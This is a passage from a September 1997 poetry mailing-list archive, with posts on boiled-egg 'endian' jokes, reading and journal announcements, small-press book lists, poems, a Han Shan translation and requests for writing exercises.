henceforth when i write "George Bowering" it means Michael Ondaatje, except on thursdays before noon when it means George Stanley, or sundays between 3 and 5 p.m. when it means Fiona Sharp. When i mention the book _Bowering's B.C._ I will actually be referring to _The Decline & Fall of the Roman Empire_. If I allude to Gb's poetry collection, _Kerrisdale Elegies_ , what will be intended will be _Watt_ , by Samuel Beckett. Should I write "Georege Bowering's navel has lint in it," I will really be saying "William Butler Yeats was a dab hand at badminton." The expression "Bowering picked absent-mindedly at his nostril-hairs" should be taken as saying "Laurence Olivier never acted better in movies than when he was with Michael Caine." If I wish to tell the List, "Evelyn Waugh scarcely improved with age" I think I shall say, "George Bowering opens his boiled egg at the wide end." Oh, and "Bowering cracks his knuckles during sex" will mean "Bowering is incorrigible ask his wife." David I

↑ Index

56. lee ann brown
Scully & Healey reading--9/6, NYC
Fri 5 Sep 1997

Attention:
New York City types & all in vicinity:

SURPRISE POETRY READING!

MAURICE SCULLY & RANDOLPH HEALEY
over from IRELAND
appearing
SATURDAY, SEPTEMBER 6th 8pm
SEGUE Performance Space
303 East 8th Street
Donation requested 3-5$

↑ Index

57. George Bowering

Re: the signifier known as george bowering / which david has the message

Fri 5 Sep 1997

What an unkind cut! I open my boiled egg at the pointy end, as does any sensible person, because you cant have the smaller end pointing downwards! Tch!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

58. David Bromige

big end versus little end

Fri 5 Sep 1997

Geroge Bowering knows he says which end is up. Others arent so sure. That he knows that. Its late at night, here amid the puffy sea-clouds and the thudding apple orchards, but isnt me memory correct that Swift has a conflict between Big endians and Little endians? Or did I dream that up sometime & nw its like a true memory? Anyway, if Goerge is a Big Endian then his wife, Angela, is likely a Little Endian, because married couples polarize to simplify the world. George, tell us about reading with Robin Blaser on Salt Spring Island, you cant have ben as bizarre as he says you were. (just kidding). (just planting the seed of dfoubt,Its my job, like Cato's job with Peter Sellers.

↑ Index

59. **Henry G**
I toddled to a reading
Fri 5 Sep 1997

I caught the tail end of a 2-day Irish poetry visit at Brown Univ. - Dublin poets Billy Mills & Catherine Walsh read. 2 fine writers - in different ways writing a "social" poetry - not that they recycle "public" issues or themes, either directly or indirectly - but that rather than telling personal stories, they find a meditative/dramatic language of social perception - I admired their independence - the poems seem "finished" rather than over-reaching - Walsh a playful, deadpan writer - intersperses overheard street talk with funny elementary-school how-I-construct-this elements - Mills I appreciated for clarity of perception - there is something to be said for "integrity" or the "integral" aspect to a poem - I don't want to say unity - but the integration of thought, visual & aural perception, emotion, & language-rhythm is something to aim for - clear visual imagery (not obvious, but clear) is analogous to overall "harmony", the sense of completeness - not necessary, perhaps, but it helps - in the case of Mills, it's clear imagery in part because one of his themes is ongoing local mundane beauty & hidden ongoingness -

they have their own cottage industry over there, unfortunately I don't have the info here on how to obtain their publications but maybe when Randolph Healy gets back to the emerald, he can re-post some of that ? - Henry Gould

↑ Index

60. **Pritchett,Pat**
Re: Free Cuisine
Fri 5 Sep 1997

Thanks, Don. I also goofed on the zine's name. It's Free Cuisineart.

From: Don Cheney
To: POETICS
Subject: Re: Free Cuisine
Date: Thursday, September 04, 1997 6:39PM

patrick,

you've got a typo in your URL. it should be

http://www.on-net.net/~cca/wowzine/wowzine.html

don

↑ Index

61. William Marsh
Re: Free Cuisine
Fri 5 Sep 1997

Patrick:

are you sure this URL is correct? it got me nowhere...

bill

At 06:14 PM 9/4/97 -0500, you wrote:
>To my knowledge, Elliza McGrand hasn't announced the publication of the
>latest Free Cuisine #17, a poetry webzine which she co-edits, but I don't
>think I'd be amiss in directing the List's attention to it.
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>issue, including a poem by Scott Keeney entitled "Five Songs By Tristan
>Who?"
>
>Check it out!
>
>Patrick Pritchett
>
>

↑ Index

62. David Bromige
Ass backwards--apologies
Fri 5 Sep 1997

Sorry, George is a declared _Little_Endian, therefore his wife is likely a _Big_Endian.

I might also have been clearer on this matter of domesticity and polarization. When a friend the other day said "My wife was nervous about the people camped beside us at these remote hot springs in eastern Oregon, so I didn't get to be," I understood a lot about marriage (& not before time). Facing outward, this polarization of roles makes for strength, for more points-of-view are possible, the landscape is more fully surveyed. Face-to-face, however, and as we know, it can cause trouble. I took the Bowerings as example due to their 35 years of marriage, & because Listlings revere GB, but I meant no harm in doing

so, and might just as well have taken myself and Cecelia as instance. Or, literally, my father & stepmother, who in their later years had, according to my sister, a number of disputes centering on the correct end at which to open a boiled egg.

I dont know what any of this has to do with poetics. It was very late at night and my sleeping pill was speaking (witness the spellings). When I read the results this morning (surprised to find the message) I was only relieved it wasnt more irrelevant. But would someone respond re Big Endians vs. Little Endians--_is_ that Swift? David I

↑ Index

63. **john_lavagnino**
Re: Ass backwards--apologies
Fri 5 Sep 1997

Big-Endian and Little-Endian do go back to Gulliver's Travels; but they are now---no kidding!---the standard technical terms for two ways of ordering bytes within a word of computer memory. See that famous and authoritative compilation, the Jargon File, at

http://www.ccil.org/jargon/jargon.html

for more on this.

John

↑ Index

64. **Judy Roitman**
Re: Free Cuisinart
Fri 5 Sep 1997

> *patrick,*
>
> *you've got a typo in your URL. it should be*
>
> *http://www.on-net.net/~cca/wowzine/wowzine.html*
>
> *don*

I was trying to read FC in my office which is where I access the Web but I kept getting all this music which is very uncool where I work and couldn't find a way to turn it off.

Please all you folks with complicated Web sites, please have pity on those of us who either have to pretend we are working all the time or who out of courtesy to those around us have to keep it down, way down.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

65. Christopher Reiner
Re: Interviews
Fri 5 Sep 1997

A late note on the interview thread: Steve McCaffery has something to say on that subject (and many others) in an interview with Clint Burnham from Witz 1.2. I've posted it online at:

http://www.crl.com/~creiner/witz/mccaffery.html

--Chris R.

↑ Index

66. Keith Tuma
Re: I toddled to a reading
Fri 5 Sep 1997

On Fri, 5 Sep 1997 08:17:00 EDT Rhode Island Rooster wrote:

> *they have their own cottage industry over there, unfortunately*
> *I don't have the info here on how to obtain their publications*
> *but maybe when Randolph Healy gets back to the emerald, he*
> *can re-post some of that ? - Henry Gould*

One place to get many of the books of Maurice Scully, Randolph Healy, Billy Mills, Catherine Walsh, and others Irish and also British, is via Peter Riley's catalog and bookstore:

Peter Riley (Books)
27, Sturton Street
Cambridge, CB1 2QG
England

↑ Index

67. Lawrence Upton.
Re: Chain / 4 now available
Fri 5 Sep 1997

---

what wld the rates be to UK

i only have a sterling account

L

> From: Juliana Spahr <[redacted]>
> To: [redacted]
> Subject: Chain / 4 now available
> Date: 04 September 1997 23:11
>
> NOW AVAILABLE
>
>
> C H A I N / 4 process and procedures
>
>
>
>
> >From “Editors’ Notes”:
>
> This issue explores how things get made. It collects work that exposes
> the procedures, the processes, and the constraints that accompany
> creation. Procedural work is important because it requires a
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> experiences as it allows us to approach them from different angles and
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> writing as well as reading. Please make new pieces, new procedures, new
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>
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> Cliff Fyman’s “My Job to Throw Out Dead Mouse,” ouilipian language

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> Clarinda Mac Low's "Sabotage," a transcript of a performance; Miranda
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> "Pepe Otero: Architect of Shantytown," photographs that document the
> building and destruction of a house over time; Catherine Schieve's
> "Catahoula Benefete, Southwest Louisiana, November 1995," a minute of
> film of a dance; Saturo Takahashi's "Dumping Sight:
> Landscape/Landscope," photographs of a big device made of a record,
> record player, water, and glass that manipulates sight.
>
>
> Full list of participants: Michael Basinski Guy R. Beining Dodie Bellamy
> Caroline Bergvall Jeremy Caplan Janet Cohen Cynthia Conrad Maria Damon
> Tina Darragh Jean Day Alan Devenish Kui Dong Dan Featherston Joel Felix
> Keith Frank William Fuller Cliff Fyman Peter Gizzi Dale Going Jessica
> Grim Lauren Gudath Jorge Guitart Dick Higgins John High Jennifer Hoff P.
> Inman Jon Ippolito David Kellogg Robert Kelly Kevin Killian Wendy Kramer
> Carl Lehmann-Haupt Tan Lin Lori Lubeski Brigid McLeer Clarinda Mac Low
> Jackson Mac Low Miranda Maher Lizbeth Marano William Marsh John Mason
> E.A. Miller Laura Moriarty Margaret Morton Harryette Mullen Laura Mullen
> Edward Mycue John Newman Sianne Ngai Denise Newman Patricia Pruitt
Joan
> Retallack William van Roden Lisa Samuels Leslie Scalapino Catherine
> Schieve Ilana Simons Mary Margaret Sloan Satoru Takahashi Chris Tysh
> Chris Vitiello Keith Waldrop Rosmarie Waldrop Hannah Weiner Susan
> Wheeler Janet Zweig.
>
>
> ----------
>
>
> This is a plea.
>
> We want to encourage you to subscribe to Chain.
>
> Chain is broke. We have $.58 in our bank account right now.
>
> Word is that one can not run a journal using subscribers as the primary
> source of funding. (I just had two people tell me that this week alone.)

>
> But there doesn’t seem to be any other way to do it. Grants are
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> barely pay us what little they do owe us (they tend to be going out of
> business right now any way; the returns from large corporate bookstores
> are killing them as much as they are killing us).
>
> Help us prove this word wrong by subscribing or making a donation.
>
> We need around 350 subscribers per issue to stay solvent. While 350
> subscribers doesn’t seem impossible, getting people to subscribe has
> been difficult. We have less than 100 right now.
>
> If for whatever reason you don’t want to subscribe to Chain, then please
> subscribe to some other journal. Our situation is not unique right now.
> Basically the middle man heavy system of book distribution is no longer
> working. And in this anti-independent publication era we need grassroots
> organizing and cottage industries more than ever.
>
>
> Subscription rates:
>
>
> $20 for two issues
> $12 for Chain / 5 on different languages (emphasis here will be on work
> in more than one language)
> $10 for Chain / 4 on process and procedures
>
> Free copy of the Lab Book upon request with a two issue subscription as
> long as supplies last.
>
> (The Lab Book is edited by Jena Osman with work by Elizabeth
Burns, Lew
> Daly, Jefferson Hansen, Peter Gizzi, Cynthia Kimball, Jena Osman,
> Juliana Spahr, Bill Tuttle, Mark Wallace, and Elizabeth Willis. The Lab
> Book is a collection of ten core poems written by ten different writers.
> Each core poem is followed by nine responses. It is an investigation of
> ideas of community and workshop.)
>
> Email orders are accepted.
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> Chain
> 3029 Lowrey Avenue, no. A-1102
> Honolulu, HI 96822
>
> Please make checks payable to Chain.

↑ Index

68. red slider

Re: Free Cuisinart

Fri 5 Sep 1997

Unless it is a musical piece sounding its own tune, i'd vote for eliminating musyuk from poetry sites all together (and appreciate those that at least have a big 'turn off' button before entering the hospital zone). Its useless for me to try to read someones work over someone else's music - i don't even try. (my speaker vol. stays off)

red

I was trying to read FC in my office which is where I access the Web but I kept getting all this music which is very uncool where I work and couldn't find a way to turn it off.

Please all you folks with complicated Web sites, please have pity on those of us who either have to pretend we are working all the time or who out of courtesy to those around us have to keep it down, way down.

Judy Roitman | "Whoppers Whoppers Whoppers!
Math, University of Kansas | memory fails
Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner,
1927-1996

Note new area code

---
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

69. George Bowering

Re: big end versus little end

Fri 5 Sep 1997

> *. George, tell us about reading with Robin Blaser on Salt Spring Island,*

We read in a church (that seems to be the norm--did the same in another Church on Vancouver Island a few weeks later) with the summer door open so that the dog could walk in and out, and the crows could comment on the norion of a serial poem. Her mainly read his latest section of the Great Companions series, this one Dante. I heard him read from it a month later in a roundhouse, where he read with Sharon Thesen. The Dante section, as you likely know, is the third one, following the Pindar and Duncan sections. But the Dante section is a whole book long! No one knows what the form or mode is; it uses all kinds of language, discourse, etc. Ah but Salt Spring Island. The evening before, we had dinner, and then breakfast in the morning, with Phyllis Webb, at the home of poet Brian Brett/ well, home! It is a beautiful huge long house full of curios and food, set in the best garden I have seen, and this garden becomes a farm greadually, and there were baby peacocks and peahens (when they are babies how do you tell?) on the lawn, being pursued by a cat, but the peahen then pursues the cat, who runs under the horse. And so on. Blaser, of course, was enthralled.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

70. Susan Wheeler

French Theory in America events

Fri 5 Sep 1997

Passing this along, for any interest out there --

Tues., October 7, 8:15, Jacques Derrida on "Deconstructions: l'Im-possible" (in French) NYU Tisch Hall, 40 West 4th Street, Schimmel Auditorium

Tues., October 14, 8:15 - Elisabeth Roudinesco on Jacques Lacan ("l'Histoire effacee) (in French) NYU La Maison, 16 Washington Mews

Mon., October 27, 8:15 - Francoise Gaillard on Barthes, La Maison (as above)

November 8 - Julia Kristeva -- for info, see below

November 13, 14 & 15 -- Colloquium on the Americanization of French Theory with Lotringer, Said, Sennett, Haverkamp, etc. -- for info, see below

November 21 & 22 - Colloquium events at The Drawing Center with Avital Ronell, Gayatri Spivack, Kathy Acker, etc., 35 Wooster Street, [redacted]

Tie-in events for this Colloquium too at the Anthology Film Archives on Second Avenue [redacted]

I know no more than what's here -- for information call NYU's La Maison Francaise at [redacted].

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

71. George Bowering

Re: Ass backwards--apologies

Fri 5 Sep 1997

> *. But would someone respond re Big Endians vs. Little Endians--_is_ that Swift? David I*

Of course it was.

And I have a neat experience. Once my girlfriend Joan (David B. will remember her) and I were having an argument about which end of the boiled egg to open. We took it, as we did most disputes, to my father Ewart for his judgement. He said nothing but placed his boiled egg on its side in a little bown, cut it down the middle, and ate out of both halves.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

72. **mark weiss**
Re: Ass backwards--apologies
Fri 5 Sep 1997

This works for soft-boiled, too, with a little preparation. Carve, as we have, a shallow depression at each place setting, place egg in same, cut, and lick it out! No mess, and no dished to clean.

At 05:25 PM 9/5/97 -0700, you wrote:
>>. But would someone respond re Big Endians
>>vs. Little Endians--_is_ that Swift? David I
>
>Of course it was.
>
>And I have a neat experience. Once my girlfriend Joan (David B. will
>remember her) and I were having an argument about which end of the boiled
>egg to open. We took it, as we did most disputes, to my father Ewart for
>his judgement. He said nothing but placed his boiled egg on its side in a
>little bown, cut it down the middle, and ate out of both halves.
>
>
>
>
>George Bowering.
>   ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>
>

↑ Index

73. **red slider**
Re: Ass backwards--notes from the pointy-end
Fri 5 Sep 1997

Fer what its worth. The pointy end is where the innoculation of chicken eggs are done. The reason is simple, innoculants must be injected between the membrane and the shell and, if the egg is stood pointy-side up the airpocket forces the membrane to lie on the surface of the albumen and leaves a space to make the injection via automated equipment (I gather these are eggs used for

research, I can't imagine innoculating table-ready eggs). My source is first-hand from my Uncle Joe who invented the process for Cutter Laboratories back in the 30's. Saved them mllions. Joe got nothing. He also discovered a cure for cancer I believe. But was light-years ahead of his time. He died last year at the age of 88.

red

↑ Index

74. David R. Israel
Re: Ass backwards--apologies
Fri 5 Sep 1997

From George B.:

> *. But would someone respond re Big Endians*
> *vs. Little Endians--_is_ that Swift? David I*
>
> *Of course it was.*
>
> *And I have a neat experience. Once my girlfriend Joan (David B. will*
> *remember her) and I were having an argument . . .*

it's odd that I don't recollect said Joan. David B.

↑ Index

75. Ryan Whyte
Hiroshma m a 1997
Sat 6 Sep 1997

-

so agony
hmm. From

exactly 4 years after or

was it 5

we walked autumn when you name

- across earthenware fused
mirror ground
wonder how we
then shorn,

sunken marked
12000 '

not impacted
but warmth of the square

```
        .
      .  ^  .
    .  < 0 >  .                I'm not sure,
   .  <  0-0  >  .              10000 or women in1
  .   <  0-*-0  >   .
   .  <  0-0  >  .
    .  < 0 >  .
     .  v  .
        .                      I'm not so sure
```

when this is read again
12000 y- storage

turning field
mark granite spikes in this room

so that it can be read when English and Japanese
gone, say nothing of French

there in autumn start
at falling leaves
flowers because she's nervous

September 1997 cut
bloodless yet incomplete
yellow paper Florentia
I said I would
write our s'arrive
however

↑ Index

76. aldon l. nielsen
(no subject)
Sat 6 Sep 1997

To: [redacted]
Subject: occasional verse

has anyone else read Ted Hughes's poem in honor of Di? appears in this morning's LA Times -- Last line was exemplary of . . . well, you can guess

perhaps it wasn't his best effort, as it wasn't quite a state occasion?

↑ Index

77. Peter Ganick

computer woes and potes & poets and ZINEFOUR

Sat 6 Sep 1997

hello---

due to some intense computer problems, i have not received any email since mid-august----now, i have solved some of these problems and am now

in the process of replying to the messages received during that time which were stored at my server----

also, due to a demented tech support person i-won't-say-where, all the data
on my hard drive was deleted, some of which was backed-up-----but not the
submissions for POTEPOETZINEFOUR, the women's writing issue, which
was promising to be a great issue---the writers who were to be included in that
issue should resend their texts----thanks in advance for that----

POTEPOETZINEFIVE will be guest edited by alan sondheim and
POTEPOETZINESIX will be guest edited by jim leftwich---
these will be sent in october----

please send all submissions for POTEPOETZINESEVEN, a
general issue, after mid-october, when these problems have
been solved and issues 4, 5, and 6 have been sent out----

also, during that mass deleting, my entire electronic address book vanished---
i have about 75% of the ZINE's subscribers addresses in hard copy, but the
latest ones, from people who subscribed after, say, july first, may not be included---
if those people can resend their email addresses, i'd appreciate it----
i will be reentering the list in the next week into the netscape communicator
4.0's address book over the next two weeks---

thanks so much for your indulgence of bandwidth for this message----- i hope
that in the future my computer situation will run more smoothly and look forward to publishing more poetry electronically---

also---
in hard copy through potes & poets press, four books are being published

at this moment---they will be available solely through small press distribution,
whose address is 1371 seventh st, berkeley ca, 94710---tel. for orders--

[redacted]---

the four are----
continuous discontinuous -- andrew levy -- $13.50 -- poetry, book two of

levy's curve project
catfishes & jackals -- susan smith nash -- $12 -- a collection of plays
falling in love falling in love with you syntax -- sheila e. murphy -- $16.50 --
a selected and new poems
echoes -- dennis barone -- $14 -- a collection of short stories

only levy's book is available now, the others are 'at the printer', but should
be available by october first---

out----
peter ganick

↑ Index

78. Herb Levy
Subtext Seattle reading change
Sat 6 Sep 1997

I don't think there are Seattle area folks on the list who don't already receive Subtext e-mail, though I could be wrong, but

Anyway, for the record, (& for any of you who have already made your travel plans) the October 16th reading previously announced as Ezra Mark and Jeff Derksen has been been changed to Ezra Mark & Tom Raworth. Derksen was unable to come out to the West Coast at that time, but we will reschedule a reading by him for a later date.

Thanks to the folks at the Kootenay School of Writing for fortuitously scheduling a reading by Tom Raworth for that weekend & of course to Raworth for being flexible in his travel arrangements.

&, hey, does anyone have a working URL for a KSW Web site? The one at wimsey doesn't seem to work.

Bests,

Herb

Herb Levy
[redacted]

↑ Index

79. Lawrence Upton.
(no subject)
Sat 6 Sep 1997

It was broadcast on British radio prior to the big performance

i found it far more moving than a bucket of figs

L

> From: aldon l. nielsen
>
> has anyone else read Ted Hughes's poem in honor of Di? appears in this
> morning's LA Times -- Last line was exemplary of . . . well, you can
guess
>
> perhaps it wasn't his best effort, as it wasn't quite a state occasion?

↑ Index

80. Rachel Loden
pome
Sun 7 Sep 1997

You can read the Hughes effort at

http://www.bbc.co.uk:80/politics97/diana/poem.html

But buckle your seat belt--it really is painfully twee.

Rachel Loden

> *aldon l. nielsen wrote:*
>
> *has anyone else read Ted Hughes's poem in honor of Di? appears in this morning's LA Times -- Last line was exemplary of . . . well, you can guess*
>
> *perhaps it wasn't his best effort, as it wasn't quite a state occasion?*

↑ Index

81. robintm
Re: computer woes and potes & poets and ZINEFOUR
Sun 7 Sep 1997

Peter--

Sounds like you've been dealing with disaster. I send along my heartfelt sympathies (and I'm going to back-up my drive right after I send this message!!!)

I'm resending the two poems you accepted for ZINEFOUR. Please also resubscribe me if my address was one that fell over the precipice.

many thanks & good luck,

Robin

composition

dearly. meaning hovers above a child's mouth rimmed in roses wanting. my own desire interstices (my hungry chops). O's beauty against backdrop of desert sand his black the blue pride causes stares.

familiar if discomfiting town squares, which are round, a central park flanked by square, chunky houses shades of white. snow falls while we're there to cover things up or underline. little houses of death. I've lost words. couldn't come up with "cameo," dialect," or a firend's (an end to fire, flame?) name. parturition.

closed systems assert their authority. my anger bubbling over beyond through. his letter soft as butter. enter a woman's brain and sex cohabitating, terrestrial & heavenly upheaval. silence the illogica evidence ignorance's gaping hole.

Once there was the enveloping body and the enveloped body, the latter being the more mobile through what Aristotle termed locomotion (since maternity does not look much like "motion"

little licks and lover's bites. the man slips sex for six. the child nurses and I (mother). am aroused. juncture when pain is and hover between just before dropping or loss. bleeds. a grecian pattern the boundaries woman(ing) the man leaves you could cover a dark suit suite my body presses his into an interior body beyond some other word

****

record

for joan & lily

on the 9 to or from work. beauty of a device records thoughts. random captivity. mind out for groceries rent territorial positions or absence. power stations abandon landscape

baby receives and telegraphs emotional content.
worldly vibrato. racked

the reviewer noted the writer winter charted the collapse of a marriage woman
in the widest sense more than the sum of her parts. acts of continental drift

naked bodies seem bodiless scaling walls
there are veils everywhere
rimmed around you awaken

stenographer at heart

hotel janitor hand-me-down silver
after fire syphllis adultery
genetic bequest

her dead heroin addict
son man brother sweet
baby daddy's whipping boy

others administer patient-controlled-analgesic. teaspoons of water. they take it
out--ovaries, uterus. an archive for organs which might 'have to' sometime

I put it (lifting center to lips) the irreducible is
a dream that rises to surface a catechism

I can say if they can't

doubt looked her in the eye or grazed the student-body. all
those O's lingering below the surface my mouth my hands
endlessly. like a baby

can explain. astrology for medicine the nation animal
husbandry. (he used udder or mammary.) dna and
if a device records thoughts become quiescent.
as we duplicate sheep ourselves or russian nesting dolls

my nipples swollen from having been pulled

small blood oranges in a bowl

it makes no account of itself. every universe is

in postures of release at neighborhood cafes youth calls
attention as I begin to leave that hallway lipstick changes
my coloring and the attention I get

Robin Tremblay-McGaw
Robin Tremblay-McGaw
Information Services Director
Trauma Foundation
Pacific Center for Violence Prevention

↑ Index

82. Jack Foley
Poetry at WebDelSol
Mon 8 Sep 1997

POETRY at WebDelSol

Web Del Sol at http://www.webdelsol.com presents the Fall 1997 Issue.

Four new superb collections of poetry and prose poetry by Martine Bellen, Russell Edson, Peter Gizzi, and Kim Addonizio. Also new works of poetry and other writing from North American Review, The Prose Poem, The Literary Review, AGNI, and Conjunctions. Other poet collections at WDS include those of David Ignatow, Dorriane Laux, and Kristy Nielsen.

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83. dbkk
Small Press Traffic's literary soiree
Mon 8 Sep 1997

Small Press Traffic is pleased to announce the third of its popular Literary Soiree benefits to be held on Sunday, September 14, 1997. This year's event promises to be one of the most varied gatherings of writers that Small Press Traffic has ever assembled.

The public is invited to an afternoon of food, drink and music in the company of Greil Marcus, author of Lipstick Traces, Mystery Train, and Invisible Republic: Bob Dylan's Basement Tapes; Edward Espe Brown, author of Tomato Blessings and Radish Teachings and co-author of the well known Greens Cookbook; Terry Castle, author of The Apparitional Lesbian and Noel Coward & Radclyffe Hall; Edith Jenkins, author of Against a Field Sinister and Divisions on a Ground; Wendy Lesser, editor of The Threepenny Review and author of Pictures at an Execution: An Inquiry into the Subject of Murder; and Julie Shigekuni, winner of the 1997 PEN Oakland award for the novel A Bridge Between Us.

This year's soiree will once again be held at a gracious San Francisco home from 4:00 to 7:00 p.m. A tax-deductible donation of $40 - $60 is requested. For information and reservations, call [redacted].

This year's event will also include Small Press Traffic's second literary auction. Items to be auctioned include manuscript pages and signed works by such writers as Edward Albee, Martin Amis, Djuna Barnes, Ann Beattie, Merce Cunningham, Don DeLillo, Rita Dove, Lawrence Ferlinghetti, Nadine Gordimer, Erica Jong, Galway Kinnell, Peter Matthiessen, Iris Murdoch, George Oppen, Adrienne Rich, James Schuyler, and Wallace Stegner, among others.

Backchannel if you're interested in receiving the text of the auction catalogue (54k).

Small Press Traffic was founded in 1974 by a group of writers and individuals who saw the need for an outlet for new and experimental writers and small press publications. From being primarily a bookstore, Small Press Traffic has evolved into a presenting organization sponsoring writing workshops and readings throughout the year, with special attention to emerging writers. Small Press Traffic's new home at New College will also house SPT's resource center and literary archive, scheduled to open this Fall.

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84. robert drake
new releases from burning press
Mon 8 Sep 1997

BURNING PRESS announces the publications of our 2 latest:

SWARMS OF FUGUE by Jake Berry, illustrated by the author
25 pages - $4.00 ppd.

SEQUENCE by Nico Vassilakis, afterword by Marvin Sackner
26 pages, handbound - $8.00 ppd.

& still available:

BLACK FIRE by John Byrum - $5.00

MOUTH WATCH by Kristen Ban Tepper - $4.00

LAND OF SCOUNDRELS by Fabio Doctorovich - $7.00

WAS AH by John M. Bennett - $4.00

I, A SERIES by Mark DuCharme - $6.00

INVISIBLE ARIA by Tom Beckett - $4.00

BABBALLY by Miekal And - $30.00

Checks to: BURNING PRESS, PO Box 585, Lakewood OH 44107
Queries to luigi: [redacted]

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85. Alan Jen Sondheim
upon their return
Mon 8 Sep 1997

-

To a T

Time for the scythe, time for the reaper
Time for the mowing which loses the lawn -
Torn to the right, paper is deeper
Than the homegrown print, than the home-grown lawn.
Then turn the home towards the metal deeper in paper
Timed towards torn flux, you know about the trace,
The ash, the bark, the tree, the foliage,
The paper of redwoods, sequoia, taller paper,
Taller than others, timed for the furrow,
Tinned for the moment, this memo torn from the pad,
Torn from the bedroom, kitchen, bath or closet,
Turned towards you from my torn lawn,
Torn paper deeper than you've torn my screen into.

↑ Index

86. red slider
Re: upon their return
Tue 9 Sep 1997

Alan,

this is exactly what I've been looking for. Just got finished adding eye of newt, socks of tennis and claw of spotted owl to my brew to sprinkle over the grounds of Georgia Pacific but damned if I could find a ready to print forest of household news. Added your page and the mixture and it bubbled noxiously poetent (not what you had in mind perhaps but hell I've used my belt buckle for adjusting my distributor -). Thanx.

red

To a T

Time for the scythe, time for the reaper
Time for the mowing which loses the lawn -
Torn to the right, paper is deeper
Than the homegrown print, than the home-grown lawn.
Then turn the home towards the metal deeper in paper

Timed towards torn flux, you know about the trace,
The ash, the bark, the tree, the foliage,
The paper of redwoods, sequoia, taller paper,
Taller than others, timed for the furrow,
Tinned for the moment, this memo torn from the pad,
Torn from the bedroom, kitchen, bath or closet,
Turned towards you from my torn lawn,
Torn paper deeper than you've torn my screen into.

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87. David R. Israel

a poem of Han-Shan's

Tue 9 Sep 1997

---

some list denizens w/ longish memory may recollect my semi-coherent mutterings abt. principles of translation w.r.t. an attempt at a poem of Han Shan's

of late I've redone (yet again) said 8-liner; here's showing same -- the grammar (from word order) follows the original closely

cheerio
d.i.

notes: sit - may be, to sit in meditation ("Han Shan" ["cold moountain"] is the locale where this Tang dynasty Chinese poet repaired for a life of solitude); yellow springs - the underworld, a conventional euphemism
~~~~~~

| Once I went
| to sit at Cold Mountain
| & lingeringly
| remained these thirty years
| of late I came
| to call on pals & kinsmen
| more than half
| begone to the yellow springs
|
| so gradually fading
| as does to the guttering candle
| how long aflowing
| alike the meandering river
| this morningtide
~~~~~~

| aface a lonesome shadow
| unwontedly
| the tears twainsome dangle

Han Shan
~~~~~~
[trans. (c) david raphael israel 1997]

↑ Index

88. Hoa Nguyen
Writing experiments
Tue 9 Sep 1997

Dear List:

(Please excuse/let me now if this is a redundant request or topic)

Recently someone asked for help in locating B. Mayers writing experiments. I similarly would like some help-- I started a new writing workshop-- 1/3 time reading poems I bring to class (contemporary poets),2/3 time writing in-class-- and was wondering if everyone could send their favorite writing experiment/exercise to the list-- or make one up-- or send many ideas. And if it has an accompaning "model" poem, please tell me where I could find it.

I have collected alot of these over time, with multiple and endless variations, and it would be great to get some fresh ideas. I will post one of my faves latter...

Thanks a bunch--

HOa

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

89. David R. Israel
Re: Writing experiments
Tue 9 Sep 1997

Hoa --

> *if everyone could send their favorite writing experiment/exercise to the list-- or make one up-- or send many ideas.*

in case you're not aware of the volume, you might wish to look at the book that collected many & varied exercises (and discussions of same) from a range of American poets -- I don't recall the title, but the volume was published just a
~~~~~~

few years ago. Co-edited by poets Chase Twitchell & one other. (It was mentioned on Poetics some time ago.)

d.i.

↑ Index

90. Carol Mirakove
Re: Writing experiments
Tue 9 Sep 1997

On Tue, 9 Sep 1997, David R. Israel wrote:

> *in case you're not aware of the volume, you might wish to look at the book that collected many & varied exercises (and discussions of same) from a range of American poets -- I don't recall the title, but the volume was published just a few years ago. Co-edited by poets Chase Twitchell & one other. (It was mentioned on Poetics some time ago.)*
>
> *d.i.*

The other editor is Robin Behn and the title is The Practice of Poetry. Some of the experiments are okay but the Twitchell/Behn compilation doesn't touch the Mayer/Bernstein list.

Carol

↑ Index

91. Christopher Alexander
Re: Writing experiments
Tue 9 Sep 1997

Hoa wrttts:
> was wondering if everyone could send their favorite writing
> experiment/exercise to the list-- or make one up-- or send
> many ideas. And if it has an accompaning "model" poem,
> please tell me where I could find it.

well, not to stifle any list activity that this might
provoke—I'd certainly be interested to talk abt.
procedure with you folks—but there's a good list @:

http://writing.upenn.edu/epc/documents/experiments.html
(EPC-authors-Bernstein-poetry "experiments")

—a compilation of stuff that includes at least some
(dunno how much) of the B. Mayer suggestions...

I'd also suggest making yr kids buy Chain #4, which is the (whatever it's called) "procedures" (?) issue, & shld be very useful in both opening discussion & "inspiring young minds". it's certainly something I'd do if I were teaching right now. the useful thing in this context is that many of the wrtrs have appended a brief note on procedure attached, including those by Jackson Mac Low, Dodie Bellamy & Joel Felix, Jeremy Caplan, Tina Darragh, Dan Featherston... the list goes on but I won't. & it's a good chance to support the 'zine, too (&, for that matter, a good chance to mention the, "ahem", economics of contemporary poetry...)

I'll share one procedure that I've used, though it's certainly nothing new: ex-listee Matthias Regan & I were—that is, until he lost 'is email, moving to SF 'n all—doing collaborative work in which we'd take turns assembling & transforming found texts. in other words, for instance, I wld cobble something together out of various sources that intrigued me—I think my last one was in 2 parts, the first being selected sentences from a book on the programming language Perl 5, & the second lifted from the "autobiographical" interview with Charles Bernstein in the most recent Boundary 2 (I love #s)—& send it to him as is. then he'd perform a series of free transformations & interpolations, adding lines, substituting or moving words, re-lineating the text, & so forth—& then send it to me for similar "treatment". when I say "free", more precisely what I mean is that transformations cld be of any nature—i.e., phonetic, graphical, conceptual etc.—& there was no limit to their # or severity, or the amount of text he cld add/subtract. so, not "free", really—let's just say that this isn't work that used "generative constraints" or even firm rules. the exercise ended when we agreed that the poem was "finished", i.e., when both of us were satisfied with it—though, in truth, the game is much more process- than product-oriented, &, while I like the work that came out of it, much of 